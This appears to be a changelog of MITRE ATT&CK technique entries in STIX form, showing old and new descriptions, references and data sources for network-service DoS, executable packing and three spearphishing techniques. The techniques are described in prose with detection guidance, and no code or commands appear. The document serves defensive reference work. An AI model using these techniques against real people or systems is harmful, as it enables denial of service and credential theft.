| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | ASERT Team, Netscout Arbor. (2012, April 24). DDoS Attacks on SSL: Something Old, Something New. Retrieved April 22, 2019. | |
| external_references | Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019. | |
| external_references | Cloudflare. (n.d.). What is an HTTP flood DDoS attack?. Retrieved April 22, 2019. | |
| external_references | CAPEC-488 | |
| external_references | CAPEC-489 | |
| external_references | CAPEC-528 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | CAPEC-488 | |
| external_references | CAPEC-489 | |
| external_references | CAPEC-528 | |
| external_references | Cloudflare. (n.d.). What is an HTTP flood DDoS attack?. Retrieved April 22, 2019. | |
| external_references | ASERT Team, Netscout Arbor. (2012, April 24). DDoS Attacks on SSL: Something Old, Something New. Retrieved April 22, 2019. | |
| external_references | Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019. |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 15:56:03.131000+00:00 | 2022-04-19 23:20:50.470000+00:00 |
| description | Adversaries may target the different network services provided by systems to conduct a DoS. Adversaries often target DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service. One example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood) Another variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012) | Adversaries may target the different network services provided by systems to conduct a denial of service (DoS). Adversaries often target the availability of DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service. One example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood) Another variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012) |
| external_references[1]['source_name'] | capec | Arbor SSLDoS April 2012 |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/488.html | https://www.netscout.com/blog/asert/ddos-attacks-ssl-something-old-something-new |
| external_references[2]['source_name'] | capec | Cisco DoSdetectNetflow |
| external_references[2]['url'] | https://capec.mitre.org/data/definitions/489.html | https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf |
| external_references[3]['source_name'] | capec | Cloudflare HTTPflood |
| external_references[3]['url'] | https://capec.mitre.org/data/definitions/528.html | https://www.cloudflare.com/learning/ddos/http-flood-ddos-attack/ |
| external_references[5]['source_name'] | Cloudflare HTTPflood | capec |
| external_references[5]['url'] | https://www.cloudflare.com/learning/ddos/http-flood-ddos-attack/ | https://capec.mitre.org/data/definitions/488.html |
| external_references[6]['source_name'] | Arbor SSLDoS April 2012 | capec |
| external_references[6]['url'] | https://www.netscout.com/blog/asert/ddos-attacks-ssl-something-old-something-new | https://capec.mitre.org/data/definitions/489.html |
| external_references[7]['source_name'] | Cisco DoSdetectNetflow | capec |
| external_references[7]['url'] | https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf | https://capec.mitre.org/data/definitions/528.html |
| x_mitre_data_sources[0] | Netflow/Enclave netflow | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Network device logs | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[2] | Network intrusion detection system | Sensor Health: Host Status |
| x_mitre_data_sources[3] | Web application firewall logs | Network Traffic: Network Traffic Content |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure | Linux |
| x_mitre_platforms[6] | Office 365 | macOS |
| x_mitre_platforms[7] | Azure AD | Google Workspace |
| x_mitre_version | 1.1 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Web logs | |
| x_mitre_data_sources | SSL/TLS inspection | |
| x_mitre_platforms | SaaS |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may perform software packing or virtual machine | t | 1 | Adversaries may perform software packing or virtual machine |
| > | software protection to conceal their code. Software packing | > | software protection to conceal their code. Software packing | ||
| > | is a method of compressing or encrypting an executable. Pack | > | is a method of compressing or encrypting an executable. Pack | ||
| > | ing an executable changes the file signature in an attempt t | > | ing an executable changes the file signature in an attempt t | ||
| > | o avoid signature-based detection. Most decompression techni | > | o avoid signature-based detection. Most decompression techni | ||
| > | ques decompress the executable code in memory. Virtual machi | > | ques decompress the executable code in memory. Virtual machi | ||
| > | ne software protection translates an executable's original c | > | ne software protection translates an executable's original c | ||
| > | ode into a special format that only a special virtual machin | > | ode into a special format that only a special virtual machin | ||
| > | e can run. A virtual machine is then called to run this code | > | e can run. A virtual machine is then called to run this code | ||
| > | .(Citation: ESET FinFisher Jan 2018) Utilities used to per | > | .(Citation: ESET FinFisher Jan 2018) Utilities used to per | ||
| > | form software packing are called packers. Example packers ar | > | form software packing are called packers. Example packers ar | ||
| > | e MPRESS and UPX. A more comprehensive list of known packers | > | e MPRESS and UPX. A more comprehensive list of known packers | ||
| > | is available, (Citation: Wikipedia Exe Compression) but adv | > | is available, but adversaries may create their own packing | ||
| > | ersaries may create their own packing techniques that do not | > | techniques that do not leave the same artifacts as well-know | ||
| > | leave the same artifacts as well-known packers to evade def | > | n packers to evade defenses.(Citation: Awesome Executable Pa | ||
| > | enses. | > | cking) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | Alexandre D'Hondt. (n.d.). Awesome Executable Packing. Retrieved March 11, 2022. | |
| external_references | CAPEC-570 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | CAPEC-570 | |
| external_references | Executable compression. (n.d.). Retrieved December 4, 2014. |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-02-05 20:05:41.548000+00:00 | 2022-04-19 02:09:27.046000+00:00 |
| description | Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018) Utilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses. | Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018) Utilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.(Citation: Awesome Executable Packing) |
| external_references[1]['source_name'] | capec | Awesome Executable Packing |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/570.html | https://github.com/dhondta/awesome-executable-packing |
| external_references[3]['source_name'] | Wikipedia Exe Compression | capec |
| external_references[3]['url'] | http://en.wikipedia.org/wiki/Executable_compression | https://capec.mitre.org/data/definitions/570.html |
| x_mitre_data_sources[0] | Binary file metadata | File: File Metadata |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Linux |
Current version: 2.2
Version changed from: 2.0 → 2.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may send spearphishing emails with a malicious a | t | 1 | Adversaries may send spearphishing emails with a malicious a |
| > | ttachment in an attempt to gain access to victim systems. Sp | > | ttachment in an attempt to gain access to victim systems. Sp | ||
| > | earphishing attachment is a specific variant of spearphishin | > | earphishing attachment is a specific variant of spearphishin | ||
| > | g. Spearphishing attachment is different from other forms of | > | g. Spearphishing attachment is different from other forms of | ||
| > | spearphishing in that it employs the use of malware attache | > | spearphishing in that it employs the use of malware attache | ||
| > | d to an email. All forms of spearphishing are electronically | > | d to an email. All forms of spearphishing are electronically | ||
| > | delivered social engineering targeted at a specific individ | > | delivered social engineering targeted at a specific individ | ||
| > | ual, company, or industry. In this scenario, adversaries att | > | ual, company, or industry. In this scenario, adversaries att | ||
| > | ach a file to the spearphishing email and usually rely upon | > | ach a file to the spearphishing email and usually rely upon | ||
| > | [User Execution](https://attack.mitre.org/techniques/T1204) | > | [User Execution](https://attack.mitre.org/techniques/T1204) | ||
| > | to gain execution. There are many options for the attachmen | > | to gain execution. Spearphishing may also involve social eng | ||
| > | t such as Microsoft Office documents, executables, PDFs, or | > | ineering techniques, such as posing as a trusted source. Th | ||
| > | archived files. Upon opening the attachment (and potentially | > | ere are many options for the attachment such as Microsoft Of | ||
| > | clicking past protections), the adversary's payload exploit | > | fice documents, executables, PDFs, or archived files. Upon o | ||
| > | s a vulnerability or directly executes on the user's system. | > | pening the attachment (and potentially clicking past protect | ||
| > | The text of the spearphishing email usually tries to give a | > | ions), the adversary's payload exploits a vulnerability or d | ||
| > | plausible reason why the file should be opened, and may exp | > | irectly executes on the user's system. The text of the spear | ||
| > | lain how to bypass system protections in order to do so. The | > | phishing email usually tries to give a plausible reason why | ||
| > | email may also contain instructions on how to decrypt an at | > | the file should be opened, and may explain how to bypass sys | ||
| > | tachment, such as a zip file password, in order to evade ema | > | tem protections in order to do so. The email may also contai | ||
| > | il boundary defenses. Adversaries frequently manipulate file | > | n instructions on how to decrypt an attachment, such as a zi | ||
| > | extensions and icons in order to make attached executables | > | p file password, in order to evade email boundary defenses. | ||
| > | appear to be document files, or files exploiting one applica | > | Adversaries frequently manipulate file extensions and icons | ||
| > | tion appear to be a file for a different one. | > | in order to make attached executables appear to be document | ||
| > | files, or files exploiting one application appear to be a fi | ||||
| > | le for a different one. | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Philip Winther'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-18 01:52:25.316000+00:00 | 2021-10-18 17:39:12.452000+00:00 |
| description | Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution. There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one. | Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one. |
| x_mitre_data_sources[0] | File monitoring | File: File Creation |
| x_mitre_data_sources[1] | Packet capture | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[2] | Network intrusion detection system | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[3] | Detonation chamber | Application Log: Application Log Content |
| x_mitre_detection | Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems. Anti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts. | Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) Anti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts. Monitor for suspicious descendant process spawning from Microsoft Office and other productivity software.(Citation: Elastic - Koadiac Detection with EQL) |
| x_mitre_version | 2.0 | 2.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft Anti Spoofing', 'description': 'Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.', 'url': 'https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide'} | |
| external_references | {'source_name': 'ACSC Email Spoofing', 'description': 'Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.', 'url': 'https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf'} | |
| external_references | {'source_name': 'Elastic - Koadiac Detection with EQL', 'description': 'Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.', 'url': 'https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Email gateway | |
| x_mitre_data_sources | Mail server |
Current version: 2.2
Version changed from: 2.0 → 2.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may send spearphishing emails with a malicious l | t | 1 | Adversaries may send spearphishing emails with a malicious l |
| > | ink in an attempt to gain access to victim systems. Spearphi | > | ink in an attempt to gain access to victim systems. Spearphi | ||
| > | shing with a link is a specific variant of spearphishing. It | > | shing with a link is a specific variant of spearphishing. It | ||
| > | is different from other forms of spearphishing in that it e | > | is different from other forms of spearphishing in that it e | ||
| > | mploys the use of links to download malware contained in ema | > | mploys the use of links to download malware contained in ema | ||
| > | il, instead of attaching malicious files to the email itself | > | il, instead of attaching malicious files to the email itself | ||
| > | , to avoid defenses that may inspect email attachments. Al | > | , to avoid defenses that may inspect email attachments. Spea | ||
| > | l forms of spearphishing are electronically delivered social | > | rphishing may also involve social engineering techniques, su | ||
| > | engineering targeted at a specific individual, company, or | > | ch as posing as a trusted source. All forms of spearphishin | ||
| > | industry. In this case, the malicious emails contain links. | > | g are electronically delivered social engineering targeted a | ||
| > | Generally, the links will be accompanied by social engineeri | > | t a specific individual, company, or industry. In this case, | ||
| > | ng text and require the user to actively click or copy and p | > | the malicious emails contain links. Generally, the links wi | ||
| > | aste a URL into a browser, leveraging [User Execution](https | > | ll be accompanied by social engineering text and require the | ||
| > | ://attack.mitre.org/techniques/T1204). The visited website m | > | user to actively click or copy and paste a URL into a brows | ||
| > | ay compromise the web browser using an exploit, or the user | > | er, leveraging [User Execution](https://attack.mitre.org/tec | ||
| > | will be prompted to download applications, documents, zip fi | > | hniques/T1204). The visited website may compromise the web b | ||
| > | les, or even executables depending on the pretext for the em | > | rowser using an exploit, or the user will be prompted to dow | ||
| > | ail in the first place. Adversaries may also include links t | > | nload applications, documents, zip files, or even executable | ||
| > | hat are intended to interact directly with an email reader, | > | s depending on the pretext for the email in the first place. | ||
| > | including embedded images intended to exploit the end system | > | Adversaries may also include links that are intended to int | ||
| > | directly or verify the receipt of an email (i.e. web bugs/w | > | eract directly with an email reader, including embedded imag | ||
| > | eb beacons). Links may also direct users to malicious applic | > | es intended to exploit the end system directly or verify the | ||
| > | ations designed to [Steal Application Access Token](https:/ | > | receipt of an email (i.e. web bugs/web beacons). Adversar | ||
| > | /attack.mitre.org/techniques/T1528)s, like OAuth tokens, in | > | ies may also utilize links to perform consent phishing, typi | ||
| > | order to gain access to protected applications and informati | > | cally with OAuth 2.0 request URLs that when accepted by the | ||
| > | on.(Citation: Trend Micro Pawn Storm OAuth 2017) | > | user provide permissions/access for malicious applications, | ||
| > | allowing adversaries to [Steal Application Access Token](ht | ||||
| > | tps://attack.mitre.org/techniques/T1528)s.(Citation: Trend M | ||||
| > | icro Pawn Storm OAuth 2017) These stolen access tokens allow | ||||
| > | the adversary to perform various actions on behalf of the u | ||||
| > | ser via API calls. (Citation: Microsoft OAuth 2.0 Consent Ph | ||||
| > | ishing 2021) | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020. |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | CAPEC-163 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-18 01:53:39.818000+00:00 | 2022-04-19 15:07:40.623000+00:00 |
| description | Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017) | Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Adversaries may also utilize links to perform consent phishing, typically with OAuth 2.0 request URLs that when accepted by the user provide permissions/access for malicious applications, allowing adversaries to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: Trend Micro Pawn Storm OAuth 2017) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. (Citation: Microsoft OAuth 2.0 Consent Phishing 2021) |
| external_references[1]['source_name'] | capec | ACSC Email Spoofing |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/163.html | https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf |
| x_mitre_data_sources[0] | Packet capture | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Web proxy | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[2] | Email gateway | Network Traffic: Network Traffic Flow |
| x_mitre_detection | URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link. Because this technique usually involves user interaction on the endpoint, many of the possible detections take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs. | URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites as well as links redirecting to adversary infrastructure based by upon suspicious OAuth patterns with unusual TLDs.(Citation: Microsoft OAuth 2.0 Consent Phishing 2021). Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) Because this technique usually involves user interaction on the endpoint, many of the possible detections take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs. |
| x_mitre_version | 2.0 | 2.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft OAuth 2.0 Consent Phishing 2021', 'description': 'Microsoft 365 Defender Threat Intelligence Team. (2021, June 14). Microsoft delivers comprehensive solution to battle rise in consent phishing emails. Retrieved December 13, 2021.', 'url': 'https://www.microsoft.com/security/blog/2021/07/14/microsoft-delivers-comprehensive-solution-to-battle-rise-in-consent-phishing-emails/'} | |
| external_references | {'source_name': 'Microsoft Anti Spoofing', 'description': 'Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.', 'url': 'https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide'} | |
| external_references | {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/163.html', 'external_id': 'CAPEC-163'} | |
| x_mitre_contributors | Philip Winther | |
| x_mitre_contributors | Kobi Haimovich, CardinalOps | |
| x_mitre_platforms | Google Workspace |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Detonation chamber | |
| x_mitre_data_sources | SSL/TLS inspection | |
| x_mitre_data_sources | DNS records | |
| x_mitre_data_sources | Mail server |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may send spearphis | t | 1 | Adversaries may send spearphishing messages with a malicious |
| > | hing messages with a malicious link to elicit sensitive info | > | link to elicit sensitive information that can be used durin | ||
| > | rmation that can be used during targeting. Spearphishing for | > | g targeting. Spearphishing for information is an attempt to | ||
| > | information is an attempt to trick targets into divulging i | > | trick targets into divulging information, frequently credent | ||
| > | nformation, frequently credentials or other actionable infor | > | ials or other actionable information. Spearphishing for info | ||
| > | mation. Spearphishing for information frequently involves so | > | rmation frequently involves social engineering techniques, s | ||
| > | cial engineering techniques, such as posing as a source with | > | uch as posing as a source with a reason to collect informati | ||
| > | a reason to collect information (ex: [Establish Accounts](h | > | on (ex: [Establish Accounts](https://attack.mitre.org/techni | ||
| > | ttps://attack.mitre.org/techniques/T1585) or [Compromise Acc | > | ques/T1585) or [Compromise Accounts](https://attack.mitre.or | ||
| > | ounts](https://attack.mitre.org/techniques/T1586)) and/or se | > | g/techniques/T1586)) and/or sending multiple, seemingly urge | ||
| > | nding multiple, seemingly urgent messages. All forms of spe | > | nt messages. All forms of spearphishing are electronically | ||
| > | arphishing are electronically delivered social engineering t | > | delivered social engineering targeted at a specific individu | ||
| > | argeted at a specific individual, company, or industry. In t | > | al, company, or industry. In this scenario, the malicious em | ||
| > | his scenario, the malicious emails contain links generally a | > | ails contain links generally accompanied by social engineeri | ||
| > | ccompanied by social engineering text to coax the user to ac | > | ng text to coax the user to actively click or copy and paste | ||
| > | tively click or copy and paste a URL into a browser.(Citatio | > | a URL into a browser.(Citation: TrendMictro Phishing)(Citat | ||
| > | n: TrendMictro Phishing)(Citation: PCMag FakeLogin) The give | > | ion: PCMag FakeLogin) The given website may closely resemble | ||
| > | n website may closely resemble a legitimate site in appearan | > | a legitimate site in appearance and have a URL containing e | ||
| > | ce and have a URL containing elements from the real site. Fr | > | lements from the real site. From the fake website, informati | ||
| > | om the fake website, information is gathered in web forms an | > | on is gathered in web forms and sent to the adversary. Adver | ||
| > | d sent to the attacker. Adversaries may also use information | > | saries may also use information from previous reconnaissance | ||
| > | from previous reconnaissance efforts (ex: [Search Open Webs | > | efforts (ex: [Search Open Websites/Domains](https://attack. | ||
| > | ites/Domains](https://attack.mitre.org/techniques/T1593) or | > | mitre.org/techniques/T1593) or [Search Victim-Owned Websites | ||
| > | [Search Victim-Owned Websites](https://attack.mitre.org/tech | > | ](https://attack.mitre.org/techniques/T1594)) to craft persu | ||
| > | niques/T1594)) to craft persuasive and believable lures. | > | asive and believable lures. | ||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:13:12.752000+00:00 | 2022-03-08 21:57:55.192000+00:00 |
| description | Before compromising a victim, adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the attacker. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures. | Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures. |
| x_mitre_data_sources[0] | Mail server | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Email gateway | Network Traffic: Network Traffic Flow |
